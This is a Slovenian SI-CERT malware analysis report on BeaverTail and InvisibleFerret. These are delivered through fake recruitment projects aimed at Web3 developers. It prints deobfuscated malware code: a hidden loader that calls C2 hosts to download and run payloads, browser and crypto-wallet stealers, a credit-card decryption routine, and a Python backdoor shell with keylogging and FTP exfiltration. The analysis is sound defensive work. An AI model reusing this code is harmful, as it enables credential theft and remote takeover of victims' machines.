Skoči na vsebino

SI-CERT TZ016/ BeaverTail & InvisibleFerret

Uvod

Obravnavali smo zanimiv primer napada, pri katerem se napadalci lažno predstavljajo kot iskalci zaposlitve ali pa želijo kakšno drugo sodelovanje z neko organizacijo. Prvi kontakt praviloma vzpostavijo preko omrežja LinkedIn, nato pa poskušajo zavesti žrtev v zagon zlonamerne kode. Njihov cilj so predvsem podjetja in posamezniki, ki se ukvarjajo z Web3 tehnologijo (pametne pogodbe, kriptovalute, tehnologija veriženja blokov…).

Tekom komunikacije napadalec pošlje povezavo do nekega predstavitvenega projekta, ki na prvi pogled zgleda povsem običajen in neškodljiv, vendar pa ob zagonu izvrši tudi zlonamerno kodo, ki ukrade podatke in vzpostavi stranska vrata do okuženega sistema.

Sama zlonamerna koda je razdeljena na dva glavna dela, ki sta znana po imenih BeaverTail in InvisibleFerret. Razlikujeta se po namenu in programskem jeziku, v katerem sta modula spisana: BeaverTail – Node.js, InvisibleFerret – Python. Ta tehnični zapis se ne ukvarja z atribucijo napadalcev, raziskave in poročila nekaterih drugih varnostnih strokovnjakov pa povezujejo tovrstno prakso in zlonamerno kodo z aktivnostmi državno sponzoriranih hekerjev iz Severne Koreje.

Analiza projekta

Analiza deljenega projekta je pokazala, da gre za Node.js Package Manager (NPM) paket. Projekt vsebuje tudi navodila za gradnjo in zagon programa, katera izvršijo tudi zlonamerno kodo.

{
  "name": "cryptoever-server",
  "version": "1.0.0",
  "engines": {
    "node": ">=16.17.1"
  },
  "description": "",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "build": "npm run build",
    "server": "nodemon server.js",
    "dev": "concurrently \"npm run server\" ",
    "lint": "eslint \"./**/*.js\" --quiet",
    "lintFull": "eslint \"./**/*.js\"",
    "lintFix": "eslint . --ext .js"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    ...
  },
  "devDependencies": {
    ...
  }
}

Konfiguracijska datoteka package.json vsebuje podatke o NPM paketu in definira tudi glavno (main) datoteko, v kateri se začne izvajanje Node.js kode.

const mongoose = require("mongoose");
const express = require('express');
const dotenv = require('dotenv');
const path = require('path');
const app = require('./app');

dotenv.config({path: './confiv.env'});
// console.log(process.env);

// Connect DB
...

Datoteka server.js sama ne vsebuje zlonamerne kode, vendar pa s funkcijo require naloži dodatne module. Večina teh modulov je standardnih in legitimnih, modul app je pa lokalen in se nahaja v datoteki app.js.

const path = require('path');
const express = require('express');
const helmet = require('helmet');
const mongoSanitize = require('express-mongo-sanitize');
const hpp = require('hpp');
const cookieParser = require('cookie-parser');
const compression = require('compression');
const rateLimit = require('express-rate-limit');
const cors = require('cors');
const usersRouter = require('./routes/userRoutes');
const walletsRouter = require('./routes/walletRoutes');
const transactionsRouter = require('./routes/transactionRoutes');
const adminRouter = require('./routes/adminRoutes');
const { testInterval } = require('./services/interval');

const app = express();
...
module.exports = app;

Datoteka app.js tudi direktno ne vsebuje zlonamerne kode, naloži pa dodatne lokalne module. Večina teh modulov vsebuje le odvečno kodo, ki ni preveč zanimiva, v modulu userRoutes se pa skriva začetek zlonamerne kode.

userRoutes.js

Datoteka userRoutes.js na koncu vsebuje prikrito kodo. Vsa prikrita koda je v eni sami vrstici in ima pred njo veliko presledkov. Na ta način se skrije v tekstovnih urejevalnikih brez možnosti preloma besed (word wrap). Koda pa je bila verjetno zamaskirana oz. obfuskirana z uporabo odprto-kodnega obfuskatorja javascript-obfuscator.

S pomočjo orodja synchrony in nekaj ročnega dela smo pridobili bolj berljivo oz. deobfuskirano obliko kode. Analiza kode je pokazala, da najprej poskusi poslati nekaj osnovnih informacij o sistemu na t.i. C2 strežnik, ki je pod nadzorom napadalcev, zatem pa z njega prenese in izvrši nadaljnji tovor. Ta postopek skripta izvrši 3x, in sicer ob zagonu in nato še dvakrat z zamikom 10min, nato pa zaključi izvajanje.

const at = async (ax, ay) => {
  const az = {
      ts: P, // timestamp
      type: a3, // "ZU1RINz7"
      hid: as, // hostname
      ss: ax, // param1 = "sqj"
      cc: ay, // param2 = '3D1' + Proc.argv[1]
    },
    aB = {
      ["url"]: "http://23.106.253.221:1244/keys",
      ["formData"]: az,
    };
  try {
    Request.post(aB, (aC, aD, aE) => {});
  } catch (aC) {}
};
var au = 0;
const av = async () => {
  try {
    P = Date.now().toString();
    await (async () => {
      as = hostname; // hostname
      "d" == platform[0] && (as = as + "+" + userInfo.username); // hostname+username
      let ax = "3D1";
      try {
        ax += Proc.argv[1];
      } catch (ay) {}
      at("sqj", ax);
    })();
    (async () => {
      await new Promise((ax, ay) => {
        ab();
      });
    })();
  } catch (ax) {}
};
av();
let aw = setInterval(() => {
  (au += 1) < 3 ? av() : clearInterval(aw);
}, 600000);

V zgornjem izseku kode vidimo funkcijo, ki pošlje podatke na C2 strežnik. To naredi s HTTP POST zahtevo na sledeč naslov:

http://23.106.253.221:1244/keys

Opomba: vsi C2 strežniki iz tega zapisa v času objave niso bili več dosegljivi

Med podatki, ki jih pošlje v zahtevi, so timestamp, type/fingerprint, host ID (hostname), data type, in data.

Prenos in zagon tovora

const ab = () => {
  let aB = Path.join(homedir, ".vscode"); // $HOME\.vscode
  try {
    aC = aB;
    Path.mkdirSync(aC, { recursive: true });
  } catch (aF) {
    aB = homedir;
  }
  var aC;
  const aD = "http://23.106.253.221:1244/j/" + a3, // http://23.106.253.221:1244/j/ZU1RINz7
    aE = Path.join(aB, "test.js"); // $HOME\.vscode\test.js
  try {
    !(function (aG) {
      Fs.rmSync(aG);
    })(aE);
  } catch (aG) {}
  Request.get(aD, (aH, aI, aJ) => {
    if (!aH) {
      try {
        Fs.writeFileSync(aE, aJ);
      } catch (aK) {}
      af(aB);
    }
  });
},
af = (ax) => {
  const aB = "http://23.106.253.221:1244/p",
    aC = Path.join(ax, "package.json"); //  $HOME\.vscode\package.json
  pathExists(aC)
    ? aj(ax)
    : Request.get(aB, (aD, aE, aF) => {
        if (!aD) {
          try {
            Fs.writeFileSync(aC, aF);
          } catch (aG) {}
          aj(ax);
        }
      });
},
aj = (ax) => {
  const ay = 'cd "' + ax + '" ' + "&& npm i --silent",
    az = Path.join(ax, "node_modules");
  try {
    pathExists(az)
      ? ao(ax)
      : exec(ay, (aA, aB, aC) => {
          an(ax);
        });
  } catch (aA) {}
},
an = (ax) => {
  const ay = 'npm --prefix "' + ax + '" ' + "install",
    az = Path.join(ax, "node_modules");
  try {
    pathExists(az)
      ? ao(ax)
      : exec(ay, (aA, aB, aC) => {
          ao(ax);
        });
  } catch (aA) {}
},
ao = (ax) => {
  const ay = Path.join(ax, "test.js"),
    az = "node " + ay;
  try {
    exec(az, (aA, aB, aC) => {});
  } catch (aA) {}
};

Drugi del skripte je namenjen prenosu in izvršitvi tovora. Vidimo, da funkcija poskusi kreirati novo mapo z imenom .vscode v domači mapi trenutnega uporabnika (Windows – %USERPROFILE%, Linux/Darwin – $HOME~/) in nato vanjo prenese datoteki test.js (http://23.106.253.221:1244/j/ZU1RINz7) in package.json (http://23.106.253.221:1244/p). Zatem v isti mapi požene ukaz npm install, ki prenese potrebne knjižnice (dependencies), nato pa še node test.js, ki izvrši prenešen tovor.

Preprečevanje zagona

Skripta vsebuje tudi zanimiv način preprečevanja zagona deobfuskirane kode, ki lahko oteži izvajanje dinamične analize:

const F = (function () {
  let ax = true;
  return function (ay, az) {
    const aA = ax
      ? function () {
          if (az) {
            const aB = az.apply(ay, arguments);
            return (az = null), aB;
          }
        }
      : function () {};
    return (ax = false), aA;
  };
})(),
H = F(this, function () {
return H.toString()
  .search("(((.+)+)+)+$")
  .toString()
  .constructor(H)
  .search("(((.+)+)+)+$");
});
H();

Notranja funkcija v spremenljivki H pridobi niz, ki vsebuje kodo zunanje funkcije (rezultat funkcije F), in nad njim požene regex (((.+)+)+)+$. V primerih, kjer niz vsebuje novo vrstico, čas izvajanja tega regularnega izraza eksponentno narašča glede na število znakov v vrstici. Tovrstno izvajanje ima tudi ime catastrophic backtrace ali runaway regular expression. To pomeni, da se bo za deobfuskirano kodo, ki vsebuje presledke, ta izraz predolgo izvajal in vrnil neko napako. Ker pa je obfuskirana koda v eni sami vrstici, se izraz hitro zaključi in nato se lahko izvede še nadaljnja zlonamerna koda.

Glavni Node.js modul – BeaverTail

Če se vrnemo malo nazaj in se osredotočimo na prenešen tovor, ugotovimo, da gre tudi tu za NPM paket.

{
  "dependencies": {
    "child_process": "^1.0.2",
    "request": "^2.88.2",
    "crypto": "^1.0.1"
  }
}

Konfiguracijska datoteka (package.json) je zelo preprosta in vsebuje le nekaj knjižnic, ki se prenesejo z npm install ukazom.

Nadaljnja koda se pa nahaja v datoteki test.js. Tako kot prejšnji del je tudi ta koda obfuskirana in vsebuje enak način preprečevanja zagona z uporabo regularnih izrazov. Kodo smo deobfuskirali na podoben način kot v prejšnjem delu in dodatno smiselno preimenovali funkcije ter nekatere spremenljivke. Pridobljena koda je malo bolj kompleksna in vsebuje dva dela, s katerima najprej ukrade podatke in nato prenese ter izvrši kodo nadaljnje stopnje.

Kraja podatkov

stealerMain = async () => {
  hostId = hostname;
  "d" == platform[0] && (hostId = hostId + "+" + userInfo.username);
  try {
    const a4 = s("~/");
    await stealExtensionDataWrapper(chromeConfig, 0);
    await stealExtensionDataWrapper(braveConfig, 1);
    await stealExtensionDataWrapper(operaConfig, 2);
    "w" == platform[0]
      ? ((pa = "" + a4 + "/AppData/" + "Local/Microsoft/Edge" + "/User Data"),
        await stealExtensionData(pa, "3_", false))
      : "l" == platform[0]
      ? (await linuxKeyringStealer(), await linuxChromeStealer(), await linuxFirefoxStealer())
      : "d" == platform[0] &&
        (await (async () => {
          let a5 = [];
          const a6 = "Login Data";
          if (((pa = "" + homeDir + "/Library/Keychains/login.keychain"), fileExists(pa))) {
            try {
              a5.push({
                ["value"]: fileCreateReadStream(pa),
                ["options"]: { ["filename"]: "logkc-db" },
              });
            } catch (a9) {}
          } else {
            if (((pa += "-db"), fileExists(pa))) {
              try {
                a5.push({
                  ["value"]: fileCreateReadStream(pa),
                  ["options"]: { ["filename"]: "logkc-db" },
                });
              } catch (aa) {}
            }
          }
          try {
            let ac = "";
            if (((ac = "" + homeDir + "/Library/Application Support/" + "Google/Chrome"), ac && "" !== ac && getAccess(ac))) {
              for (let ad = 0; ad < 200; ad++) {
                const ae =
                  ac + "/" + (0 === ad ? "Default" : "Profile" + " " + ad) + "/" + a6;
                try {
                  if (!getAccess(ae)) {
                    continue;
                  }
                  const af = ac + "/ld_" + ad;
                  getAccess(af)
                    ? a5.push({
                        ["value"]: fileCreateReadStream(af),
                        ["options"]: { ["filename"]: "pld_" + ad },
                      })
                    : fs.copyFile(ae, af, (ag) => {
                        let ah = [
                          {
                            ["value"]: fileCreateReadStream(ae),
                            ["options"]: { ["filename"]: "pld_" + ad },
                          },
                        ];
                        uploadData(ah);
                      });
                } catch (ag) {}
              }
            }
          } catch (ah) {}
          return uploadData(a5), a5;
        })(),
        await macStealer(),
        await macFirefoxStealer());
    await uploadDirWrapper("Exodus/exodus.wallet", "exod");
    await uploadDirWrapper("atomic/Local Storage/leveldb", "atmc");
  } catch (a5) {}
}

Zgoraj je vidna glavna funkcija, ki pridobi in pošlje podatke iz različnih spletnih brskalnikov. Najprej poskusi pridobiti podatke iz razširitev/dodatkov brskalnikov, na Linux in Darwin sistemih pa nato še druge podatke shranjenih v brskalnikih (gesla, seje, zgodovina, itd.). Pridobljene podatke pošlje nadzornemu strežniku preko HTTP POST zahtev na naslov:

http://23.106.253.221:1244/uploads

Spodaj je naveden seznam razširitev iz katerih program krade podatke:

ID razširitveImeVir
nkbihfbeogaeaoehlefnkodbefgpgknnMetamaskChrome store
ejbalbakoplchlghecdalmeeeajnimhmMetamaskMicrosoft store
ibnejdfjmmkpcnlpebklmnkoeoihofecTronLinkChrome store
fhbohimaelbohpjbbldcngcnapndodjpBNB Chain WalletChrome store
hnfanknocfeofbddgcijnmhnfnkdnaadCoinbase WalletChrome store
bfnaelmomeimhlpmgjnjophhpkkoljpaPhantomChrome store
aeachknmefphepccionboohckonoeemgCoin98 WalletChrome store
egjidjbpglichdcondbcbdnbeeppgdphTrust WalletChrome store
hifafgmccdpekplomjjkcfgodnhcelljCrypto.com | Wallet ExtensionChrome store
aholpfdialjgjfhomihkjbmgjidlcdnoExodus Web3 WalletChrome store
mcohilncbfahbmgdjkbpemcciiolgcgeOKX WalletChrome store
pdliaogehgdbhbnmkklieghmmjkpigpaBybit WalletChrome store
bhghoamapcdpbohphigoooaddinpkbaiAuthenticatorChrome store

Prenos in izvršitev naslednje stopnje

execNextStage = async () =>
  await new Promise((a4, a5) => {
    if ("w" != platform[0]) {
      (() => {
        const a7 = b,
          a8 = u,
          a9 = Z,
          aa = o,
          url = "http://23.106.253.221:1244/client/ZU1RINz7",
          payload_path = "" + homeDir + "/.npl";
        let python3_cmd = 'python3 "' + payload_path + '"',
          python_cmd = 'python "' + payload_path + '"';
        request.get(url, (err, resp, body) => {
          err ||
            (fs.writeFileSync(payload_path, body),
            exec(python3_cmd, (err, stdin, stdout) => {
              err && exec(python_cmd, (am, an, ao) => {});
            }));
        });
      })();
    } else {
      fileExists("" + ("" + homeDir + "\\.pyp\\python.exe"))
        ? (() => {
            const a7 = b,
              a8 = Z,
              a9 = u,
              aa = o,
              url = "http://23.106.253.221:1244/client/ZU1RINz7",
              payload_path = "" + homeDir + "/.npl",
              python_cmd = '"' + homeDir + "\\.pyp\\python.exe" + '" "' + payload_path + '"';
            try {
              removeFile(payload_path);
            } catch (ae) {}
            request.get(url, (err, resp, body) => {
              if (!err) {
                try {
                  fs.writeFileSync(payload_path, body);
                  exec(python_cmd, (ai, aj, ak) => {});
                } catch (ai) {}
              }
            });
          })()
        : downloadPythonEnv();
    }
});

Drugi del kode na Windows sistemih najprej namesti Python 3.11 okolje. To naredi tako, da z orodjem curl prenese ZIP arhiv iz naslova http://23.106.253.221:1244/pdown, ki vsebuje celotno Python okolje za Windows OS in ga shrani pod imenom p2.zip v mapi z začasnimi datotekami. Ta arhiv nato z orodjem tar razširi v domačo mapo uporabnika. Zanimivost pri tem je uporaba orodji curl in tar (bsdtar – omogoča razširitev ZIP datotek), ki sta bolj značilni za operacijske sisteme podobne Unixu, vendar sta orodji vsebovani tudi v Windows OS-ih novejših od verzije 1803 (build 17063). Za ostale operacijske sisteme program predvideva, da je Python okolje že nameščeno.

Zatem program s HTTP GET zahtevo pridobi kodo iz naslova:

http://23.106.253.221:1244/client/ZU1RINz7

Odgovor shrani v datoteko .npl v domači mapi uporabnika in jo nato izvrši s Python interpretorjem. Zatem se zlonamerna koda nadaljuje v različnih Python skriptah. Node.js koda v tej sekciji je znana po imenu BeaverTail in se jo lahko prepozna po formatu URL-jev, s katerimi komunicira, imenu prenešenih datotek (.npl) in po sami funkciji prenosa Python okolja in zagonu tovora.

Python – InvisibleFerret

sType = 'ZU1RINz7'
qt="GlmYk"+"sYL"+"TQUAKQQBLWwlDR48XUd1PCsNGT8EATRgKB9BKh4RKT4oDwgqGF8qNTRmGSsSSTAh..."
import base64
dx=base64.b64decode(qt[8:]);sk=qt[:8];sl=len(dx);rb=''
for aa in range(sl):k=aa&7;c=chr(dx[aa]^ord(sk[k]));rb+=c
exec(rb)

Koda v datoteki .npl je šifrirana po zelo preprostem postopku. Spremenljivka qt vsebuje ključ (prvih 8 znakov ) in zašifrirane podatke (preostali znaki). Podatke najprej dekodira (base64) in dešifrira (XOR), nato pa dobljeno kodo izvrši s pomočjo funkcije exec.

sType = 'ZU1RINz7'

import base64,platform,os,subprocess,sys
try:import requests
except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests

ot = platform.system()
home = os.path.expanduser("~")
host="I1My4yMjE=MjMuMTA2Lj"
host1 = '23.106.253.221'
host2 = 'http://23.106.253.221:1244'
pd = os.path.join(home, ".n2")
ap = pd + "/pay"
def download_payload():
    if os.path.exists(ap):
        try:os.remove(ap)
        except OSError:return True
    try:
        if not os.path.exists(pd):os.makedirs(pd)
    except:pass

    try:
        aa = requests.get(host2+"/payload/"+sType, allow_redirects=True)
        with open(ap, 'wb') as f:f.write(aa.content)
        return True
    except Exception as e:return False
res=download_payload()
if res:
    if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
    else:subprocess.Popen([sys.executable, ap])

if ot=="Darwin":sys.exit(-1)

ap = pd + "/bow"
def download_browse():
    if os.path.exists(ap):
        try:os.remove(ap)
        except OSError:return True
    try:
        if not os.path.exists(pd):os.makedirs(pd)
    except:pass
    try:
        aa=requests.get(host2+"/brow/"+sType, allow_redirects=True)
        with open(ap, 'wb') as f:f.write(aa.content)
        return True
    except Exception as e:return False
res=download_browse()
if res:
    if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
    else:subprocess.Popen([sys.executable, ap])

Poleg enostavnega šifriranja koda ne vsebuje drugih metod obfuskacije, kar močno olajša analizo. Namen kode je prenos in izvršitev dveh dodatnih Python skript oz. modulov:

Ime modulaURLMesto prenosa
Payloadhttp://23.106.253.221:1244/payload/ZU1RINz7$HOME/.n2/pay
Browserhttp://23.106.253.221:1244/brow/ZU1RINz7$HOME/.n2/bow

Program na Darwin sistemih izvrši samo prvi modul (Payload) in zatem, s klicem funkcije sys.exit, zaključi izvajanje. Začetek programa vsebuje tudi zanimiv način, s katerim dinamično namesti vse potrebne knjižnice (dependencies).

Payload modul

sType = 'ZU1RINz7'

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==QBDfReP0///9J/Vuj3SiAL1hyJcBKfm+vrOSH1KXNEJbW+9/yBePdOmWF+JX1cbHWF+/DawmAILG8fXEEBA...'))

Podobno kot prejšnji del je tudi tu koda prekrita, vendar po nekoliko drugačnem postopku. V tem primeru je koda stisnjena (zlib), kodirana (base64) in na koncu je rezultat kodiranja še obrnjen. Razširjena koda je nato izvršena s funkcijo exec. Vendar po le eni iteraciji tega postopka še ne dobimo povrnjene kode, saj je v tem primeru koda večkrat stisnjena. Pridobljena koda po prvi iteraciji:

exec((_)(b'+AFS/8377z//knq30HkZXiw3tLbgJ6htHIJZafVRV82Rl/NNynyaQOipLphioserP9FziGb+kAR+znOrDoAK/RzM7wezmWOdwfh9rsTfMUu7XqMrGWrLr9ObpZ6t7DA...'))

Za popolno povrnitev kode smo spisali preprosto Python skripto:

data=b'==QBDfReP0///9J/Vuj3SiAL1hyJcBKfm+vrOSH1KXNEJbW+9/yBePdOmWF+JX1cbHWF+/DawmAILG8fXEEBA...'
decompress = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]))

data = decompress(data)
i = 1
while data.startswith(b"exec((_)(b'"):
    data = decompress(data[11:-2])
    i += 1

print(f'Code decompressed after {i} iterations\n')
open('decompressed.py', 'wb').write(data)

Po 50 iteracijah dobimo dokončno razširjeno kodo. Tudi ta ne vsebuje kakšnih drugih metod obfuskacije. Njen glavni namen je izvajanje prejetih ukazov iz C2 strežnika.

...
HOST0 = '173.211.106.101'
PORT0 = 1244

class Client():
    def __init__(A):A.server_ip = HOST0;A.server_port = PORT0;A.is_active = _F;A.is_alive = _T;A.timeout_count = 0;A.shell = _N

    @property
    def make_connection(A):
        while _T:
            try:
                A.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s = Session(A.client_socket);s.connect(A.server_ip, A.server_port)
                A.shell = Shell(s);A.is_active = _T
                if A.shell.shell():
                    try:dir = os.getcwd();fn=os.path.join(dir,sys.argv[0]);os.remove(fn)
                    except:pass
                    return _T
                sleep(15)
            except Exception as e:sleep(20);pass
    def run(A):
        if A.make_connection:return

client = Client()
...

Zgornji izsek kode vsebuje razred Client, ki izvede povezavo na C2 strežnik in začne komunikacijo, ki poteka preko TCP protokola. V tem primeru je naslov C2 strežnika sledeč:

173.211.106.101:1244

Po povezavi na C2 strežnik začne program izvajati prejete ukaze. Struktura paketa, ki vsebuje ukaz, je zelo preprosta:

4 bajti – big endian
Velikost podatkovPodatki

Sam ukaz (podatki) je v JSON formatu in je sestavljen iz ID ukaza (število) in argumentov. Razred, ki bere in izvrši ukaze, je Shell:

class Shell(object):
    def __init__(A,S):
        A.sess = S;A.is_alive = _T;A.is_delete = _F;A.lock = RLock();A.timeout_count=0;A.cp_stop=0
        A.par_dir = os.path.join(os.path.expanduser("~"), ".n2")
        A.cmds = {1:A.ssh_obj,2:A.ssh_cmd,3:A.ssh_clip,4:A.ssh_run,5:A.ssh_upload,6:A.ssh_kill,7:A.ssh_any,8:A.ssh_env,9:A.ssh_zcp}

    def listen_recv(A):
        while A.is_alive:
            recv=A.sess.recv()
            if recv==-1:
                if A.timeout_count<30:A.timeout_count+=1;continue
                else:A.timeout_count=0;recv=_N
            if recv:
                A.timeout_count=0
                with A.lock:
                    D=json.loads(recv);c=D['code'];args=D['args']
                    if c in A.cmds:tg=A.cmds[c];t=Thread(target=tg,args=(args,));t.start()#tg(args)
                    else:
                        if A.is_alive:A.is_alive=_F;A.close()
            else:
                if A.is_alive:A.timeout_count=0;A.is_alive=_F;A.close()

    def shell(A):
        t1 = Thread(target=A.listen_recv);t1.daemon=_T;t1.start()
        while A.is_alive:
            try:sleep(5)
            except:break
        A.close()
        return A.is_delete

    def send(A,code=_N,args=_N):A.sess.send(code=code,args=args)
    ...

Tabela možnih ukazov:

ID UkazaIme funkcijeOpis
1ssh_objIzvrši ukaz v ukazni lupini in vrne izhod.
2ssh_cmdIzvrši posebne ukaze. V tem primeru je implementiran samo en  ukaz, ki zapre celotno povezavo.
3ssh_clipVrne zabeležene vnose (keylogger). Keylogger je aktiven samo na Windows OS.
4ssh _runPrenese in izvrši »Browser« modul (opisan v nadaljevanju).
5ssh _uploadOmogoča iskanje datotek po sistemu in odlaganje datotek na nek FTP strežnik (podatki FTP strežnika so podani v argumentih ukaza).
6ssh _killUbije procese brsklanikov Chrome in Brave
7ssh _anyPrenese in izvrši dodatno skripto, ki namesti in konfigurira program za oddaljen dostop AnyDesk
8ssh _envPridobi datoteke iz zunanjih diskov in map za dokumente ter prenose in jih odloži na FTP strežnik
9ssh _zcpUkrade podatke brskalnikov, razširitev, upravljalcev gesel, kripto denarnic in nekaterih drugih aplikacij ter jih shrani v zašifriran arhiv. Arhiv nato odloži na FTP strežnik ali pa jih pošlje v Telegram kanal (preko API-ja)

Ukaz ssh_zcp krade podatke iz aplikacij Chrome, Chromium, Opera, Brave, Edge, Vivaldi, 1Password, Exodus, Atomic, Electrum, WinAuth, Proxifier v4, Dashlane, ter iz razširitev iz spodnjega seznama:

ID razširitveIme
aeachknmefphepccionboohckonoeemgCoin98
aholpfdialjgjfhomihkjbmgjidlcdnoExodus
bfnaelmomeimhlpmgjnjophhpkkoljpaPhantom
ejbalbakoplchlghecdalmeeeajnimhmMetaMask
ejjladinnckdgjemekebdpeokbikhfciPetraAptos
egjidjbpglichdcondbcbdnbeeppgdphTrust
fhbohimaelbohpjbbldcngcnapndodjpBinance
gjdfdfnbillbflbkmldbclkihgajchbgTermux
hifafgmccdpekplomjjkcfgodnhcelljCrypto
hnfanknocfeofbddgcijnmhnfnkdnaadCoinBase
ibnejdfjmmkpcnlpebklmnkoeoihofecTronLink
lgmpcpglpngdoalbgeoldeajfclnhafaSafepal
mcohilncbfahbmgdjkbpemcciiolgcgeOKX
nkbihfbeogaeaoehlefnkodbefgpgknnMetaMask
nphplpgoakhhjchkkhmiggakijnkhfndTon
pdliaogehgdbhbnmkklieghmmjkpigpaByBit
phkbamefinggmakgklpkljjmgibohnbaPontem
kkpllkodjeloidieedojogacfhpaihohEnkrypt
agoakfejjabomempkjlepdflaleeobhbCore
jiidiaalihmmhddjgbnbgdfflelocpakBitget
kgdijkcfiglijhaglibaidbipiejjfdpCirus
kkpehldckknjffeakihjajcjccmcjflhHBAR
idnnbdplmphpflfnlkomgpfbpcgelopgXverse
fccgmnglbhajioalokbcidhcaikhlcpmZapit
fijngjgcjhjmmpcmkeiomlglpeiijkldTalisman
enabgbdfcbaehmbigakijjabdpdnimlgManta
onhogfjeacnfoofkfgppdlbmlmnplgbnSub
amkmjjmmflddogmhpjloimipbofnfjihWombat
glmhbknppefdmpemdmjnjlinpbclokhnOrange
hmeobnfnfcmdkdcmlblgagmfpfboieafXDEFI
acmacodkjbdgmoleebolmdjonilkdbchRabby
fcfcfllfndlomdhbehjjcoimbgofdncgLeapCosmos
anokgmphncpekkhclmingpimjmcooifbCompass
epapihdplajcdnnkdeiahlgigofloibgSender
efbglgofoippbgcjepnhiblaibcnclgkMartian
ldinpeekobnhjjdofggfgjlcehhmanljLeather
lccbohhgfkdikahanoclbdmaolidjdflWigwam
abkahkcbhngaebpcgfmhkoioedceoigpCasper
bhhhlbepdkbapadjdnnojkbgioiodbicSolflare
klghhnkeealcohjjanjjdaeeggmfmlplZerion
lnnnmfcpbkafcpgdilckhmhbkkbpkmidKoala
ibljocddagjghmlpgihahamcghfggcjcVirgo
ppbibelpcjmhbdihakflkdcoccbgbkpoUniSat
afbcbjpbpfadlkmhmclhkeeodmamcflcMath
ebfidpplhabeedpnhjnobghokpiiooljFewcha
fopmedgnkfpebgllppeddmmochcookhcSuku
gjagmgiddbbciopjhllkdnddhcglnemkHashpack
jnlgamecbpmbajjfhmmmlhejkemejdmaBraavos
pgiaagfkgcbnmiiolekcfmljdagdhlcmStargazer
khpkpbbcccdmmclmpigdgddabeilkdpdSuiet
kilnpioakcdndlodeeceffgjdpojajloAurox
bopcbmipnjdcdfflfgjdgdjejmgpoaabBlock
kmhcihpebfmpgmihbkipmjlmmioamekaEternl
aflkmfhebedbjioipglgcbcmnbpgliofBackpack
ajkifnllfhikkjbjopkhmjoieikeihjbMoso
pfccjkejcgoppjnllalolplgogenfojkTomo
jaooiolkmfcmloonphpiiogkfckgciomTwetch
kmphdnilpmdejikjdnlbcnmnabepfgkhOsmWallet
hbbgbephgojikajhfbomhlmmollphcadRise
nbdhibgjnjpnkajaghbffjbkcgljfgdiRamper
fldfpgipfncgndfolcbkdeeknbbbnhccMyTon
jnmbobjmhlngoefaiojfljckilhhlhcjOneKey
fcckkdbjnoikooededlapcalpionmaloMOBOX
gadbifgblmedliakbceidegloehmfficParagon
ebaeifdbcjklcmoigppnpkcghndhpbbmSenSui
opfgelmcmbiajamepnmloijbpoleiamaRainbow
jfflgdhkeohhkelibbefdcgjijppkdebOrdPay
kfecffoibanimcnjeajlcnbablfeafhoLibonomy
opcgpfmipidbgpenhmajoajpbobppdilSui
penjlddjkjgpnkllboccdgccekpkcbinOpenMask
kbdcddcmgoplfockflacnnefaehaiocbShell
abogmiocnneedmmepnohnhlijcjpcifdBlade
omaabbefbmiijedngplfjmnooppbclkkTonkeeper
cnncmdhjacpkmjmkcafchppbnpnhdmonHAVAH
eokbbaidfgdndnljmffldfgjklpjkdoiFluent
fnjhmkhhmkbjkkabndcnnogagogbneecRonin
dmkamcknogkgcdfhhbddcghachkejeapKeplr
dlcobpjiigpikoobohmabehhmhfoodbbArgentX
aiifbnbfobpmeekipheeijimdpnlpgppStation
eajafomhmkipbjmfmhebemolkcicgfmdTaho
mkpegjkblkkefacfnmkajcjmabijhclgMagicEden
ffbceckpkpbcmgiaehlloocglmijnpmpInitia
lpfcbjknijpeeillifnkikgncikgfhdoNami
fpkhgmpbidmiogeglndfbkegfdlnajnfCosmostation
kppfdiipphfccemcignhifpjkapfbihdFrontier
fdjamakpfbbddfjaooikfcpapjohcfmgDashalane
hdokiejnpimakedhajhdlcegeplioahdLastPass
bhghoamapcdpbohphigoooaddinpkbaiGoogleAuth

Browser modul

Tudi ta modul je kodiran in stisnjen po enakem postopku kot prejšnji. Njegov namen je kraja gesel in kreditnih kartic shranjenih v spletnih brskalnikih. Gre za bolj specializirano različico ssh _zcp ukaza iz prejšnjega modula in kradljivca v BeaverTail kodi. Razlika je v tem, da ostala dva kradljivca preneseta celotne mape s shranjenimi podatki spletnih brskalnikov, ta se pa osredotoči samo na shranjena gesla in kreditne kartice.

class CB:
    ...
    def retrieve_web(A):
        web_paths, keys = A.b_web_paths, A.keys
        temp_path = (home + "/AppData/Local/Temp") if A.target_os == "Windows" else "/tmp"

        try:
            for web_path in web_paths: 
                filename = os.path.join(temp_path, "webdata.db")
                shutil.copyfile(web_path, filename)
                
                conn = sqlite3.connect(filename)
                cursor = conn.cursor()
                cursor.execute(
                    'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards')
        
                key = keys[web_paths.index(web_path)]
                for row in cursor.fetchall():
                    if not row[0] or not row[1] or not row[2] or not row[3]:
                        continue

                    if A.target_os == "Windows":card_number = A.dec_win_pwd(row[3], key)
                    elif A.target_os == "Linux" or A.target_os == "Darwin":card_number = A.dec_unx_pwd(row[3], key)
                    else:card_number = ""

                    if card_number == "" and not A.bl_pwds:continue

                    A.webs.append(dict(name_on_card=row[0],expiration_month=row[1],expiration_year=row[2],card_number=card_number,date_modified=row[4]))

                cursor.close();conn.close()
                try:os.remove(filename)
                except OSError:pass
        except Exception as E:return []
    ...

Zgornja funkcija pridobi podatke kreditnih kartic shranjenih v nekem brskalniku. Najprej iz SQLite baze webdata.db pridobi zašifrirane podatke in jih zatem še dešifrira.

